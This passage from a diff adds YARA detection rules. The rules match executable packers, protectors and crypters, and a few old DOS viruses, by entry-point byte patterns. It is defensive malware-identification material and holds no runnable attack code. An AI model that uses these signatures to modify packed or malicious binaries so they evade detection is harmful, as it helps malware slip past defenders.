+		$1 = {83 EC 14 83 64 24 04 00 53 55 56 57 C6 44 24 13 20 FF 15 30 70 40 00 BE 00 20 7A 00 BD 00 04 00 00 56 55 FF 15 C4 70 40 00 56 E8 7D 2B 00 00 8B 1D 8C 70 40 00 6A 00 56 FF D3 BF 80 92 79 00 56 57 E8 15 26 00 00 85 C0 75 38 68 F8 91 40 00 55 56 FF 15 60 71}
+	condition:
+		$0 or $1
+}
+rule _ExeBundle_v30_standard_loader_
+{
+	meta:
+		description = "ExeBundle v3.0 (standard loader)"
+	strings:
+		$0 = {00 00 00 00 60 BE 00 B0 42 00 8D BE 00 60 FD FF C7 87 B0 E4 02 00 31 3C 4B DF 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB}
+	condition:
+		$0 at entrypoint
+}
+rule _FucknJoy_v10c__UsAr_
+{
+	meta:
+		description = "Fuck'n'Joy v1.0c -> UsAr"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED D8 05 40 00 FF 74 24 20 E8 8C 02 00 00 0B C0 0F 84 2C 01 00 00 89 85 6C 08 40 00 8D 85 2F 08 40 00 50 FF B5 6C 08 40 00 E8 EF 02 00 00 0B C0 0F 84 0C 01 00 00 89 85 3B 08 40 00 8D 85 3F 08 40 00 50 FF B5 6C 08 40 00 E8 CF 02 00}
+		$1 = {60 E8 00 00 00 00 5D 81 ED D8 05 40 00 FF 74 24 20 E8 8C 02 00 00 0B C0 0F 84 2C 01 00 00 89 85 6C 08 40 00 8D 85 2F 08 40 00 50 FF B5 6C 08 40 00 E8 EF 02 00 00 0B C0 0F 84 0C 01 00 00 89 85 3B 08 40 00 8D 85 3F 08 40 00 50 FF B5 6C 08 40 00 E8 CF 02 00 00 0B C0 0F 84 EC 00 00 00 89 85 4D 08 40 00 8D 85 51 08 40 00 50 FF B5 6C 08 40 00 E8 AF 02 00 00 0B C0 0F 84 CC 00 00 00 89 85 5C 08 40 00 8D 85 67 07 40 00 E8 7B 02 00 00 8D B5 C4 07 40 00 56 6A 64 FF 95 74 07 40 00 46 80 3E 00 75 FA C7 06 74 6D 70 2E 83 C6 04 C7 06 65 78 65 00 8D 85 36 07 40 00 E8 4C 02 00 00 33 DB 53 53 6A 02 53 53 68 00 00 00 40 8D 85 C4 07 40 00 50 FF 95 74 07 40 00 89 85 78 07 40 00 8D 85 51 07 40 00 E8 21 02 00 00 6A 00 8D 85 7C 07 40 00 50 68 00 ?? ?? 00 8D 85 F2 09 40 00 50 FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Upack_012_betaDwing_
+{
+	meta:
+		description = "Upack 0.12 beta-->Dwing"
+	strings:
+		$0 = {BE 48 01 40 00 AD ?? ?? ?? A5 ?? C0 33 C9 ?? ?? ?? ?? ?? ?? ?? F3 AB ?? ?? 0A ?? ?? ?? ?? AD 50 97 51 ?? 87 F5 58 8D 54 86 5C ?? D5 72 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? B6 5F FF C1}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_BJFNT_12__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [.BJFNT 1.2] --> Anorganix"
+	strings:
+		$0 = {EB 02 69 B1 83 EC 04 EB 03 CD 20 EB EB 01 EB 9C EB 01 EB EB 00}
+	condition:
+		$0 at entrypoint
+}
+rule _MEW_10_by_Northfox_
+{
+	meta:
+		description = "MEW 10 by Northfox"
+	strings:
+		$0 = {33 C0 E9 ?? ?? FF FF ?? 1C ?? ?? 40}
+	condition:
+		$0
+}
+rule _Werus_Crypter_10__by_Kas_
+{
+	meta:
+		description = "Werus Crypter 1.0 - by Kas"
+	strings:
+		$0 = {BB E8 12 40 00 80 33 05 E9 7D FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _PEBundle_v244_
+{
+	meta:
+		description = "PEBundle v2.44"
+	strings:
+		$0 = {9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB ?? ?? 40 ?? 87 DD 83 BD}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_Borland_Cpp_1999__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Borland C++ 1999] --> Anorganix"
+	strings:
+		$0 = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 90 90 90 90 A1 ?? ?? ?? ?? A3}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v133_
+{
+	meta:
+		description = "FSG v1.33"
+	strings:
+		$0 = {BE A4 01 40 00 AD 93 AD 97 AD 56 96 B2 80 A4 B6 80 FF 13 73}
+	condition:
+		$0 at entrypoint
+}
+rule _EXELOCK_666_15_
+{
+	meta:
+		description = "EXELOCK 666 1.5"
+	strings:
+		$0 = {BA ?? ?? BF ?? ?? EB ?? EA ?? ?? ?? ?? 79 ?? 7F ?? 7E ?? 1C ?? 48 78 ?? E3 ?? 45 14 ?? 5A E9}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_11_BasicEdition__ap0x_
+{
+	meta:
+		description = "RLPack 1.1 BasicEdition -> ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 4A 02 00 00 8D 9D 11 01 00 00 33 FF EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB 8D 74 37 04 53 6A 40 68 00 10 00 00 68}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v126b1__v126b2_
+{
+	meta:
+		description = "PECompact v1.26b1 - v1.26b2"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 A6 70 40 ?? 01 85 03 70 40 ?? 66 C7 85 70 40 90 ?? 90 01 85 9E 70 40 BB ?? 05 0E}
+	condition:
+		$0 at entrypoint
+}
+rule _NeoLite_v200_
+{
+	meta:
+		description = "NeoLite v2.00"
+	strings:
+		$0 = {8B 44 24 04 23 05 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 04 FE 05 ?? ?? ?? ?? 0B C0 74}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v110b1_
+{
+	meta:
+		description = "PECompact v1.10b1"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 28 63 40 ?? 87 DD 8B 85 AD 63}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v285_
+{
+	meta:
+		description = "Armadillo v2.85"
+	strings:
+		$0 = {55 8B EC 6A FF 68 68 ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 28 ?? ?? ?? 33 D2 8A D4 89 15 24}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_V111__ap0x_
+{
+	meta:
+		description = "RLPack V1.11 -> ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 4A 02 00 00 8D 9D 11 01 00 00 33 FF EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _EZIP_v10_
+{
+	meta:
+		description = "EZIP v1.0"
+	strings:
+		$0 = {E9 19 32 00 00 E9 7C 2A 00 00 E9 19 24 00 00 E9 FF 23 00 00 E9 1E 2E 00 00 E9 88 2E 00 00 E9 2C}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Armadillo_300__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Armadillo 3.00] --> Anorganix"
+	strings:
+		$0 = {60 E8 2A 00 00 00 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 85 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _DBPE_v210_
+{
+	meta:
+		description = "DBPE v2.10"
+	strings:
+		$0 = {9C 6A 10 73 0B EB 02 C1 51 E8 06 ?? ?? ?? C4 11 73 F7 5B CD 83 C4 04 EB 02 99 EB FF 0C 24 71 01 E8 79 E0 7A 01 75 83 C4 04 9D EB 01 75 68 5F 20 40 ?? E8 B0 EF FF FF 72 03 73 01 75 BE}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v275a_
+{
+	meta:
+		description = "Armadillo v2.75a"
+	strings:
+		$0 = {55 8B EC 6A FF 68 68 ?? ?? ?? 68 D0 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 28 ?? ?? ?? 33 D2 8A D4 89 15 24}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v252_
+{
+	meta:
+		description = "Armadillo v2.52"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? E0 ?? ?? ?? ?? 68 D4 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF ?? ?? ?? 15 38}
+		$1 = {55 8B EC 6A FF 68 E0 ?? ?? ?? 68 D4 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 38}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Thinstall_Virtualization_Suite_30493080__Thinstall_Company_
+{
+	meta:
+		description = "Thinstall Virtualization Suite 3.049-3.080 -> Thinstall Company"
+	strings:
+		$0 = {9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB 37 1F 00 00 2B C3 50 68 ?? ?? ?? ?? 68 00 2C 00 00 68 04 01 00 00 E8 BA FE FF FF E9 90 FF FF FF CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00}
+		$1 = {9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB 37 1F 00 00 2B C3 50 68 ?? ?? ?? ?? 68 00 2C 00 00 68 04 01 00 00 E8 BA FE FF FF E9 90 FF FF FF CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 C6 00 00 00 E8 DF 00 00 00 73 1B 55 BD 00 01 00 00 E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Vx_Predator2448_
+{
+	meta:
+		description = "Vx: Predator.2448"
+	strings:
+		$0 = {0E 1F BF ?? ?? B8 ?? ?? B9 ?? ?? 49 ?? ?? ?? ?? 2A C1 4F 4F ?? ?? F9 CC}
+	condition:
+		$0 at entrypoint
+}
+rule _CrypKey_V56X_DLL__Kenonic_Controls_Ltd_
+{
+	meta:
+		description = "CrypKey V5.6.X DLL -> Kenonic Controls Ltd."
+	strings:
+		$0 = {8B 1D ?? ?? ?? ?? 83 FB 00 75 0A E8 ?? ?? ?? ?? E8}
+	condition:
+		$0 at entrypoint
+}
+rule _Escargot_01_final__ppMeat_
+{
+	meta:
+		description = "Escargot 0.1 (final) -> ++Meat"
+	strings:
+		$0 = {EB 04 40 30 2E 31 60 68 61 ?? ?? ?? 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 B8 92 ?? ?? ?? 8B 00 FF D0 50 B8 CD ?? ?? ?? 81 38 DE C0 37 13 75 2D 68 C9 ?? ?? ?? 6A 40 68 00 ?? 00 00 68 00 00 ?? ?? B8 96 ?? ?? ?? 8B 00 FF D0 8B 44 24 F0 8B 4C 24 F4 EB 05 49 C6 04 01 40 0B C9 75 F7 BE 00 10 ?? ?? B9 00 ?? ?? 00 EB 05 49 80 34 31 40 0B C9 75 F7 58 0B C0 74 08 33 C0 C7 00 DE C0 AD 0B BE ?? ?? ?? ?? E9 AC 00 00 00 8B 46 0C BB 00 00 ?? ?? 03 C3 50 50}
+	condition:
+		$0 at entrypoint
+}
+rule _PEtite_v14_
+{
+	meta:
+		description = "PEtite v1.4"
+	strings:
+		$0 = {66 9C 60 50 8B D8 03 ?? 68 54 BC ?? ?? 6A ?? FF 50 14 8B CC}
+		$1 = {66 9C 60 50 8B D8 03 00 68 54 BC 00 00 6A 00 FF 50 14 8B CC}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ExeBundle_v30_small_loader_
+{
+	meta:
+		description = "ExeBundle v3.0 (small loader)"
+	strings:
+		$0 = {00 00 00 00 60 BE 00 F0 40 00 8D BE 00 20 FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11}
+	condition:
+		$0 at entrypoint
+}
+rule _Themida_18xx__Oreans_Technologies_
+{
+	meta:
+		description = "Themida 1.8.x.x -> Oreans Technologies"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 60 0B C0 74 68 E8 00 00 00 00 58 05 53 00 00 00 80 38 E9 75 13 61 EB 45 DB 2D 37 ?? ?? ?? FF FF FF FF FF FF FF FF 3D 40 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44 00 00 83 C3 67}
+		$1 = {B8 ?? ?? ?? ?? 60 0B C0 74 68 E8 00 00 00 00 58 05 53 00 00 00 80 38 E9 75 13 61 EB 45 DB 2D 37 ?? ?? ?? FF FF FF FF FF FF FF FF 3D 40 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44 00 00 83 C3 67 39 1A 74 07 2D 00 10 00 00 EB DA 8B F8 B8 ?? ?? ?? ?? 03 C7 B9 ?? ?? ?? ?? 03 CF EB 0A B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 50 51 E8 84 00 00 00 E8 00 00 00 00 58 2D 26 00 00 00 B9 EF 01 00 00 C6 00 E9 83 E9 05 89 48 01 61 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Armadillo_v200b2200b3_
+{
+	meta:
+		description = "Armadillo v2.00b2-2.00b3"
+	strings:
+		$0 = {55 8B EC 6A FF 68 00 F2 40 00 68 C4 A0 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_V12__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium V1.2 -> Obsidium Software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 77 1E 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _SoftProtect__wwwsoftprotectbyru_
+{
+	meta:
+		description = "SoftProtect -> www.softprotect.by.ru"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? C7 00 00 00 00 00 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? 01}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_239_DLL_minimum_protection_
+{
+	meta:
+		description = "EXECryptor 2.3.9 DLL (minimum protection)"
+	strings:
+		$0 = {51 68 ?? ?? ?? ?? 87 2C 24 8B CD 5D 81 E1 ?? ?? ?? ?? E9 ?? ?? ?? 00 89 45 F8 51 68 ?? ?? ?? ?? 59 81 F1 ?? ?? ?? ?? 0B 0D ?? ?? ?? ?? 81 E9 ?? ?? ?? ?? E9 ?? ?? ?? 00 81 C2 ?? ?? ?? ?? E8 ?? ?? ?? 00 87 0C 24 59 51 64 8B 05 30 00 00 00 8B 40 0C 8B 40 0C E9 ?? ?? ?? 00 F7 D6 2B D5 E9 ?? ?? ?? 00 87 3C 24 8B CF 5F 87 14 24 1B CA E9 ?? ?? ?? 00 83 C4 08 68 ?? ?? ?? ?? E9 ?? ?? ?? 00 C3 E9 ?? ?? ?? 00 E9 ?? ?? ?? 00 50 8B C5 87 04 24 8B EC 51 0F 88 ?? ?? ?? 00 FF 05 ?? ?? ?? ?? E9 ?? ?? ?? 00 87 0C 24 59 99 03 04 24 E9 ?? ?? ?? 00 C3 81 D5 ?? ?? ?? ?? 9C E9 ?? ?? ?? 00 81 FA ?? ?? ?? ?? E9 ?? ?? ?? 00 C1 C3 15 81 CB ?? ?? ?? ?? 81 F3 ?? ?? ?? ?? 81 C3 ?? ?? ?? ?? 87}
+	condition:
+		$0 at entrypoint
+}
+rule _PEArmor_046__Hying_
+{
+	meta:
+		description = "PE-Armor 0.46 -> Hying"
+	strings:
+		$0 = {E8 AA 00 00 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 3D ?? ?? 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B ?? ?? 00 5C ?? ?? 00 6F ?? ?? 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41}
+		$1 = {E8 AA 00 00 00 2D ?? ?? ?? 00 00 00 00 00 00 00 00 3D}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PESpin_V071__cyberbob_
+{
+	meta:
+		description = "PESpin V0.71 -> cyberbob"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 83 D5 46 00 0B E4 74 9E}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Backfont900_
+{
+	meta:
+		description = "Vx: Backfont.900"
+	strings:
+		$0 = {E8 ?? ?? B4 30 CD 21 3C 03 ?? ?? B8 ?? ?? BA ?? ?? CD 21 81 FA ?? ?? ?? ?? BA ?? ?? 8C C0 48 8E C0 8E D8 80 ?? ?? ?? 5A ?? ?? 03 ?? ?? ?? 40 8E D8 80 ?? ?? ?? 5A ?? ?? 83}
+	condition:
+		$0 at entrypoint
+}
+rule _Metrowerks_CodeWarrior_v20_GUI_
+{
+	meta:
+		description = "Metrowerks CodeWarrior v2.0 (GUI)"
+	strings:
+		$0 = {55 89 E5 53 56 83 EC 44 55 B8 FF FF FF FF 50 50 68 ?? ?? 40 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 68 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? 00 00 E8 ?? ?? 00 00 E8}
+	condition:
+		$0
+}
+rule _EP_ExE_Pack_V10__Elite_Coding_Group_
+{
+	meta:
+		description = "!EP (ExE Pack) V1.0 -> Elite Coding Group"
+	strings:
+		$0 = {60 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10}
+	condition:
+		$0 at entrypoint
+}
+rule _PENightMare_2_Beta_
+{
+	meta:
+		description = "PENightMare 2 Beta"
+	strings:
+		$0 = {60 E9 ?? ?? ?? ?? EF 40 03 A7 07 8F 07 1C 37 5D 43 A7 04 B9 2C 3A}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_XCR_011__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [XCR 0.11] --> Anorganix"
+	strings:
+		$0 = {60 8B F0 33 DB 83 C3 01 83 C0 01}
+	condition:
+		$0 at entrypoint
+}
+rule _PC_Shrinker_v029_
+{
+	meta:
+		description = "PC Shrinker v0.29"
+	strings:
+		$0 = {BD ?? ?? ?? ?? 01 AD 55 39 40 ?? 8D B5 35 39 40}
+	condition:
+		$0 at entrypoint
+}
+rule _AHTeam_EP_Protector_03_fake_Spalsher_1x3x__FEUERRADER_
+{
+	meta:
+		description = "AHTeam EP Protector 0.3 (fake Spalsher 1.x-3.x) -> FEUERRADER"
+	strings:
+		$0 = {90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 9C 60 8B 44 24 24 E8 00 00 00 00 5D 81 ED 00 00 00 00 50 E8 ED 02 00 00 8C C0 0F 84}
+	condition:
+		$0 at entrypoint
+}
+rule _PEEncrypt_v40b_JunkCode_
+{
+	meta:
+		description = "PEEncrypt v4.0b (JunkCode)"
+	strings:
+		$0 = {66 ?? ?? 00 66 83 ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_Full_Edition_V11X__ap0x_
+{
+	meta:
+		description = "RLPack Full Edition V1.1X -> ap0x"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 10}
+	condition:
+		$0
+}
+rule _PECompact_v25_Retail__Bitsum_Technologies_
+{
+	meta:
+		description = "PECompact v2.5 Retail -> Bitsum Technologies"
+	strings:
+		$0 = {B8 ?? ?? ?? 01 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00}
+	condition:
+		$0 at entrypoint
+}
+rule _CrypKey_V56X__Kenonic_Controls_Ltd_
+{
+	meta:
+		description = "CrypKey V5.6.X -> Kenonic Controls Ltd."
+	strings:
+		$0 = {E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8 00 75 07 6A 00 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _ARM_Protector_v02_SMoKE_
+{
+	meta:
+		description = "ARM Protector v0.2-> SMoKE"
+	strings:
+		$0 = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D EB 01 00 81 ED 09 20 40 00 EB 02 83 09 8D B5 9A 20 40 00 EB 02 83 09 BA 0B 12 00 00 EB 01 00 8D 8D A5 32 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Trivial46_
+{
+	meta:
+		description = "Vx: Trivial.46"
+	strings:
+		$0 = {B4 4E B1 20 BA ?? ?? CD 21 BA ?? ?? B8 ?? 3D CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _HACKSTOP_v113_
+{
+	meta:
+		description = "HACKSTOP v1.13"
+	strings:
+		$0 = {52 B8 ?? ?? 1E CD 21 86 E0 3D ?? ?? 73 ?? CD 20 0E 1F B4 09 E8 ?? ?? 24 ?? EA}
+	condition:
+		$0 at entrypoint
+}
+rule _ExeShield_Protector_V36__wwwexeshieldcom_
+{
+	meta:
+		description = "ExeShield Protector V3.6 -> www.exeshield.com"
+	strings:
+		$0 = {B8 ?? ?? ?? 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00 CE 1E 42 AF F8 D6 CC}
+	condition:
+		$0 at entrypoint
+}
+rule _FreeJoiner_Small_build_014021024027__GlOFF_
+{
+	meta:
+		description = "FreeJoiner Small (build 014-021/024-027) -> GlOFF"
+	strings:
+		$0 = {E8 ?? ?? FF FF 6A 00 E8 0D 00 00 00 CC FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v260c_
+{
+	meta:
+		description = "Armadillo v2.60c"
+	strings:
+		$0 = {55 8B EC 6A FF 68 40 ?? ?? ?? 68 F4 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 6C ?? ?? ?? 33 D2 8A D4 89 15 F4}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_VBOX_43_MTE__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [VBOX 4.3 MTE] --> Anorganix"
+	strings:
+		$0 = {0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0}
+	condition:
+		$0 at entrypoint
+}
+rule _Celsius_Crypt_21__Z3r0_
+{
+	meta:
+		description = "Celsius Crypt 2.1 -> Z3r0"
+	strings:
+		$0 = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 84 92 44 00 E8 C8 FE FF FF 90 8D B4 26 00 00 00 00 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 84 92 44 00 E8 A8 FE FF FF 90 8D B4 26 00 00 00 00 55 8B 0D C4 92 44 00 89 E5 5D FF E1 8D 74 26 00 55 8B 0D AC 92 44 00 89 E5 5D FF E1 90 90 90 90 55 89 E5 5D E9 77 C2 00 00 90 90 90 90 90 90 90 55 89 E5 83 EC 28 8B 45 10 89 04 24 E8 3F 14 01 00 48 89 45 FC 8B 45 0C 48 89 45 F4 8D 45 F4 89 44 24 04 8D 45 FC 89 04 24 E8 12 A3 03 00 8B 00 89 45 F8 8B 45 FC 89 45 F0 C6 45 EF 01 C7 45 E8 00 00 00 00 8B 45 E8 3B 45 F8 73 39 80 7D EF 00 74 33 8B 45 F0 89 44 24 04 8B 45 10 89 04 24 E8 1C 1A 01 00 89 C1 8B 45 08 8B 55 E8 01 C2 0F B6 01 3A 02 0F 94 C0 88 45 EF 8D 45 F0 FF 08 8D 45 E8 FF 00 EB BF 83 7D F0 00 74 34 80 7D EF 00 74 2E 8B 45 F0 89 44 24 04 8B 45 10 89 04 24 E8 DD 19 01 00 89 C1 8B 45 08 8B 55 F8 01 C2 0F B6 01 3A 02 0F 94 C0 88 45 EF 8D 45 F0 FF 08 EB C6 C7 44 24 04 00 00 00 00 8B 45 10 89 04 24 E8 AE 19 01 00 89 C1 8B 45 08 8B 55 F8 01 C2 0F B6 01 3A 02 7F 0C 0F B6 45 EF 83 E0 01 88 45 E7 EB 04 C6 45 E7 00 0F B6 45 E7 88 45 EF 0F B6 45 EF C9 C3}
+		$1 = {55 89 E5 83 EC 28 8B 45 10 89 04 24 E8 3F 14 01 00 48 89 45 FC 8B 45 0C 48 89 45 F4 8D 45 F4 89 44 24 04 8D 45 FC 89 04 24 E8 12 A3 03 00 8B 00 89 45 F8 8B 45 FC 89 45 F0 C6 45 EF 01 C7 45 E8 00 00 00 00 8B 45 E8 3B 45 F8 73 39 80 7D EF 00 74 33 8B 45 F0 89 44 24 04 8B 45 10 89 04 24 E8 1C 1A 01 00 89 C1 8B 45 08 8B 55 E8 01 C2 0F B6 01 3A 02 0F 94 C0 88 45 EF 8D 45 F0 FF 08 8D 45 E8 FF 00 EB BF 83 7D F0 00 74 34 80 7D EF 00 74 2E 8B 45 F0 89 44 24 04 8B 45 10 89 04 24 E8 DD 19 01 00 89 C1 8B 45 08 8B 55 F8 01 C2 0F B6 01 3A 02 0F 94 C0 88 45 EF 8D 45 F0 FF 08 EB C6 C7 44 24 04 00 00 00 00 8B 45 10 89 04 24 E8 AE 19 01 00 89 C1 8B 45 08 8B 55 F8 01 C2 0F B6 01 3A 02 7F 0C 0F B6 45 EF 83 E0 01 88 45 E7 EB 04 C6 45 E7 00 0F B6 45 E7 88 45 EF 0F B6 45 EF C9 C3}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Upack_010__012_beta__Dwing_
+{
+	meta:
+		description = "Upack 0.10 - 0.12 beta -> Dwing"
+	strings:
+		$0 = {BE 48 01 40 00 AD 8B F8 95 A5 33 C0 33 C9 AB 48 AB F7 D8 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB AD 50 97 51 AD 87 F5 58 8D 54 86 5C FF D5 72 5A 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v211d__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASPack v2.11d -> Alexey Solodovnikov"
+	strings:
